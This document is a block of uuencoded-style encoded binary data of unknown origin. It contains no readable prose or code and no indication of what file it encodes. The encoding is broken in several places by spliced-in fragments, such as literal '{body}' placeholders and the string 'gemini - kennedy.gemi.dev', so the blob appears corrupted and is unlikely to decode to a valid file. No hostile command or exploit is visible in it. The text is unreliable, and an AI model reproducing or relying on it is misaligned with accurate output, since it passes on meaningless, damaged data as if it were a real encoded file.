M=<>9=-4U0[HS.R+U#9^IUGD9](<*NZ`-F8`91G7D9D>QRJO:]7PO4TA>R#B' M%!/<2Q5EPRYH0R8@O_XH&@@\A`:OES5T[TM_J+`+JK'LMLTX&$C90>C"W18. MTJJ4-U^VD3T@16#?S\0DU;(I8[$),RI>1JCM(_22/:51%9KY(DQO>CS!I,;( MS]4DM6-5A5KYS;NJSY8KZ"O^G3LB7_(Q%)85,;"V0U%/[0^Y8H%)-6Z'7BW? MW5D+",`RW1`:*SM\56C`)03O(9DQP7H4!+D"E))ZM7Y8/Y&Q8&0>#8FOH7(# M65\PT\"I,@OFXQJ3($5:RX39;Z<A9QIRSB0Q>=%$431U9DJS34Q!X!62>JE> M:LE?J50_*1SM&*$F#\1E).@?1C%I=^:O@I*KJ>36`Q!9529\>$DXHLM^5W._ M[>ZW4=Z7_E!A%_3*FX#\^JA+MXG1EVJ5("1-R)?3+<_$*-QE(U.9_$_O2W^D M(+DD&S*H4;<PBQY/X"#'_.Z7?U9D>SV7J_`.L62K5;P(8F;>0OAU"%]F02!$ MO'H2#!V07_PYM8/L;JHDH,E#3-_CLH6@PBXHH=-Q.0>87"D_1!IBHB"ZL`M* MZ#3)@\C"WJ9_<<(GG0[(K[]^,(-'*V&$S(\?M"$S::YHSIRYRP:5FO7I?>D/ MNW+XVP5MR`3\_JB*N#_JUE-.-24=D?KV/]5BYAB=K,(N:,9)59@W3G3UDC+I ML`O:D`FDN\U%39_Y/E?68+TO_:'"+N@:SX6S+>?+*.5/!VW(;Z1DXS;*7;:L M`.@/%39-D4RY+9'+NBF3^^E]Z0\[L?SM@C:4Z8>IP/;%<`O*J2:D(U+?_J=: M8QRCDU58C8BI)F=4-"N!B\Z-24>XIM@X_]/[TA^IDBYH0R8@OZGA]9HI(^SQ M1<K9[N3$9:/T^-K8=+;4M_^9@:"35=@%;<A.FM?L[+PQSX4*I8,V9`+RRS_^ M*$I9'C[AXY055/VAPBYH0R9@.B#ELRT?]O@L=;_S3NAX.JGV1NJ,[HV`&+>P MXJI(N!"DW"_]H<)VANC3AK@MCK.KR`%(MCQ>DW]F1.I;U\91WI?^4&$7M"'; M/L=N5DWT^'=49GY,.L(VT\7YG]Z7_E!A'X@-F8#\\H^_&OW&\J+T69+E;*=R MXK)1:D>ZV'2VU+?_Z7VEP:E$%[0A$S!;PV]^=H>HRT(Z:$,F(+_\XX^F1^][ M9'SV0X5=T(9,P'1@)@TNCQA^L^='96+LR*K(U+?_F>ZU?F^QO=>-L/VZ*E)- MLX[/9LW$I"/<R'FO0;-'D)^&/""SHC(QF49#9.K;_\P?0:G/'T%YLBKGM"PO M,F<$,3Z;-1.3CDB/H-0Y>P3M0UJ5WX(5L%12NH5>\LR4><5FQ,\NDAL[*WM. M7'[63(R?#:-26?S/_'7AOU"FUH<_M*E)S"3.'?DYA><7G5EP7K$9A687R2TP M*WM.YG16C,QD2T>D=T'JM3B[&W[%\K].^Q'307[(!.27?TRK^,F9XM)!&S(! M;I0\4BMZ)%%O1]FP"]J0"<BOOP`3[TTI\=Z1\K[TAPJK@4^.728SM,G,=R;_ M59:+71'E:E*QZ8C4M_^9@:`_5-@%;4@7E=_4@/JMEW'UWY[+.?W,B]2CJN*S M63,QZ8@<2'X6[TM_J+`/Q";82?;[DS/7?3,O*I`:/4R1,>N[?GE!6Q_&YM0R MM@R(=-"&3$!^4VT8*P:#B(64%3S]H<(N:$.VI>,9G`(GKL`E9GQZ7_K#S0=] MNZ`-F8#\IGKJZI/>.O&)<JI%Z8C4M_^I5PK%Z&05=D$;LF/F:LZ.&X8%YZ:# M-F0"\LL_?O^YK,>$Y2AI3?9#A5W0ADS`] #S^G%!\PM\D94,!MV01MBT$9, M21T,QL*,9$R%7="&,/"3S]`VLF#;!BAQ]+E;''0CR&(G<U[EJ,#O]"8GM=_H MFYS`5&]RMI8%W^3<F)@W.8GYZS[)$0-(M33_0<ZPC=Q*H*]K+@8L\WN\D_^+ M+89Y[^29Z5"OY-6+N>]N%XJC=Z$1PX5Y26%T,NO3^](?%I=?N.<?"MJ0"?CH MU4E0"G)U-0NFG!V1^O8_U?%RH9]^+OCQQX9=T&!D)=29Q<<752OA*>5F??N? MJC{body}lt;HS]4V`5MR`32`^<J-B/GA$_+Z<9E8M(1WGAQG)_%^](?*NR";C!=$[*C M"?AGQA:;#L=1)SX9]G]#&57"$ML*#P:OQI=AZZBX*B^R)5)+(I4C?!,;GY&X M;6VQ?<B-*3<=JHJ&'P"=S,14]KQJWBR.XFHMBKH!#.55R`-H*ED00WW)^9(2 MT)31]`X-TW5\%G=YS%08'/;]XU^>[F\K.7@1FR=Y?*-!NUY;E9'T1N+GW9?/ M'C_[81L=*QL(C`E)<K`B3^@52\/9(0ESIYU/C=HBDS*C(692Z-D?[?'I%>UJ M1RG_'.%&R/,94K+O^I*01TABDEKB=*RC9=0@F"]>:TLWJU5U-*&' LN'<+) MQ.?2C#5(.L%H-DL$?,GL=[:_,Q<@JY<]1+EUV$I0F%7W\%A#M6)TT@!;2&2. M<?'T/5%VX9:S&#(M1LHV:!9=CZ#4D9;%Q5Q"8:'^9O$MXK-_;),N)P91IA]^ M2J5PQ9!*@,)F#0`L(\`)Z.EOZ#>;D%6U*BW8-E5?.214I9K$ZXZ.\'$,/T>] ME!L92W7;2S$I6BDS:_X[L`@/J%<D_TW)2$#PZ^0-SLE?9!Y>D5;0&6GO`YH: M1?$(D.XY-(:UW%'-@M1A$(V-X_<13$8$,];']AT5<5.7`,Q4M#-.,1_FMWLG M[AEY(=2F"%A.NJC01$#R0$6''@*YF18U8L"V+HY4#9(`5.C@DDK:A445*H]J M32'4>6`V4^I:9^W+XV@>TG[<([Q]WAY.>$C(->:I1=^$/RNBT\MHG77>$"84 M;G.5(5<9C5$CN0O4,*T#;):?C@8*(M9W,=I69A4XW?)T%V{body}lt;_)&9TV$@M5GY M`+$:++-)'`_,:U3@,+{body}gt;YCMWPE1&E5P-`E$79.XO#CB2\U!(-.N<`A7..3)[ M24,KGHX[$3F@22HX>>0Z!6^6YVUVPY3`9NGW^JAO9@^)W[`>8E!Y9P1'&2V] MJ"N]A.V`KAB@-J?NA!H8[3Z9RR6%%+8]4>&I0`]0I#U$\T<G37S2+*[RAV'Q M*!($TPOV*/H/P@5OWKE_R\7_^`\ZFLR\.3`X4'(C)"`\RJ8.K%]QXB1:+?._ MA=5Q*&-1+_I:=VKZ!4:M9C3&67\Z9\B&,2Z):X&WZ[&8`U`6@FK+#*S8:0]Q MNLD]#Z\*U.8*5;?1:49M(1K:ZLM?LRY94PO4P#M'AM6L!%/<+@0DS''^6RMO M9!FT&K@0F,`\5+OW$-78/3J+]&WS<I+5%Q_7XAA]N`;(G,SY4#&7V^0"T45X M;53Y!)A"_J[21<!EL^9"Q#SZ-!&`.LIKH9=7('JGD:MZ4;!YV6=`QGQ[>P)L M;\]K&<1+J;T]!38ONTOR2E`<:1>;(O3AU\+IIAQ]:9!SBOM9,A`P[<DC75Z^ MO/I-#BDNGPK\?!"I3%DHU,(7+[QNR*<_#B:/Z8=\ZXY>`2:=+0V)E,A?1G2? M9#*!A,?AEIV0WN-2X&%-*YE-QP$*CQ>4V9/G9ZC\CGK2?2`_QD.@0`$5&IUN MH^#'UG7>L^;SH(\^C=%(%&H&XKVGQB<A'G;2"J1!X#@W3N&1TK"6>?I,'^[6 M7_\"M%<#J+,:{body}lt;&3\-MO]Y]_'[2.K()AR>D:)IYV)\)L=]NC";=L>!F^!X1+ MKJI%[;\6!*_9WUUQ-7SS_,6KQ\^?O:W5:N&;GW9?-G_:??)Z'S^#X%5LM#%A MU/OC>'CFV[A:CFHGM4JXMP?_TP1`*71(2K0#G?UG`""P4&MA>!!%T.-!?$Y4 M=S=B"H`&$AL8.^,%0'[UIHY9@JU^Q,<;V]Y2>N6LUVPH%KKCH(']:(*%]F28 MB+[9)O'YBED8WE^WGXP&[4L>3$I&*4X\@>328\3^28H_5<BT1%K1(1]4:E9\ M$ZUP*LW$G/P5#FZ#!`M;BL@*,"0O*K^5%&O-]E>F!3%"-/]J?Y:,0()%2=C M`,5C(O_(B4H(RPV-_;#?E))9P(GMB]);),/$HA+(.PS6)<T5S`8EOA']M^Y; MK'ZODM8KI#]^8"/IFR,/OE8P+)$\:,63.;7=Y_9+;#R=H-T&HG-MJX5\>/3X MI2G4\^EB:C,FOW'JO$((M8Y@(-X&`6Y&;V?FZO?WHX06G!%R>_%R'ZY=H?.\ MS$K\[7'GM(^7$JBH"DVQUN2HW=@8+CC'Q/F;8L9.!@VSIT6T;^O/K3FGWOVK M*^8<,"0/K<6`"@R3ME)0XBN5K516M:D%L%JV]60```'E)*$N/9L3"/\+;H>H M6BTH)V@/334\$\($BJ$^Q!@H@Y4#L03(!M$OKCF)J1#3A&"A72J7TFP5?WS^ M=+\$F.5[R'%,MM'H8C..!V3TWL-,A.LP;W\("5.Z^@B"Z\]=,B('HU8I.H=' MD_K.^%,2OI$9PN'B"4_R"C+BAV/A3+ACF?*)!:`4%AP,D7C*+RLEN+C1H/7J M1U^!5;9N,FNMDP+P&],:Y#I)?]SKO@/IX.&\#:+J&>`%'&$/"BP1@>'+FS`< M,D;(;/'%&@77>!DA3SM`6J7`S6L3'&=VF+/S&Q_3^P&YP'0/.WJ@N;`28'8` M]N#<(,>*O+%,C9*7"_K"SU(V51`7_C`>5D\ZG?"--D)AZF9M(Z_EI/5DS.'P MBG;U]V(N*4H)?I=10R*_(*2\]1%M"[_P?V2?I'G7CI@3&LXO%APP)=<#BG&( M5G#R:1K<?'M[KGE[CG<gemini - kennedy.gemi.dev >P!9F#KW^D,Y/4`DH4V9@9I?_C>)%5"I)?"ZA/T M+HP[_CN\Q".#B[BV;L*1!9?"N<.84%&W/>XJ?HH%A(T2(I@:5=_[^]_)4>DX MAO,LB5,M>/RM><E-MR)5+2\,;M&L-FA02%D2`DP\VS-Q&`,],NYW&3G"O;V/ MQ^P9`$=+,YJJC<DQ*,YCP.Z0Z'!V8X,TC&"CA%ZPO6;1BUK=<+.0_$LOEQS" MWU)CFOIG@R7C2&SFD%$I=*!I[A;(&S>T'E-UAFL5CX@[,3KO(N])>.\,`<>1 M&<P"\9#,$G9CS:+B).*=;B-C2IDM@17=5<7E?6PW+-1J]0)5%:%-"C<Y4%_= MY:^9Y[QN/$F4M($T[I,_^6+$\EVK5J]4=I+*FW?UM\7*G;H)E^L5J+9RPG91 M#*]>9.*$5U];@?8]BYV 9^+<'+_S"-+G`^Y^@#=VHEJT@ANUJ%APVE1.WX" M2+\`P#AHKOY<.&I,U,L!7AWQ./XP%X(,WVQ(]"0@4[-GC66>3&&&T3NY6>H[ M3)6<]Q.RIV8LR"232S$D2;FX{body}lt;K<9=%KCC--78/2BMW'+'4)%LG2V=RBV:L) M]V6P0-5?6.W75%E#BRO>>KVR1'\XLYW"[.16<:.D*4DT_S%W&-NI:D_2UZV^ M9:6:+6T>=P$AJ<W,&",(R5TE(:L9!QOS]0$MKB(Z*Z9$\6SW]*GWE>:DKS`F M?2.FI+_.D#3V,C2C@DQV?/?8_$[NBX/X),#A^.[.IES4J,G&6"L^1B1D!];< M;?%LZ4X[;)[;G.SD>GX0!>/ID`AXV^,*,5O(BO7Q].2$\%A/#0C>@M":(O1G M`D$XCAY/Z(F%[Z=4":^IBO%NWTZ"$VTB_(=GKU-FPD,8^P_FO4:($K)32(5A M,(K(URD^X+/O8\#+X7#WX#5:]PJ6EF")F[]P:0DC7@#:PW4+L#G"SQ%8FX[- M\'H&'B7]C`J:CU3F3[RYID-T83RT9<:ZS'BQ,HDNDRQ6YH,N\^&*,@'1PV@Q M4@J,J'0F]@HP.B_S`PB*CO4AX%].8[``7EY\HLW"PJ0L'/N7;9;I!L&LOM?P M4DEY8//AH9NVZ**.)D,O$[HG6'B9I"N<>0<CVUR3-Z>Z,:3#7M)SQDZ19 M,&>/7YP,H@_1(&_\)&FQ\>,%T4<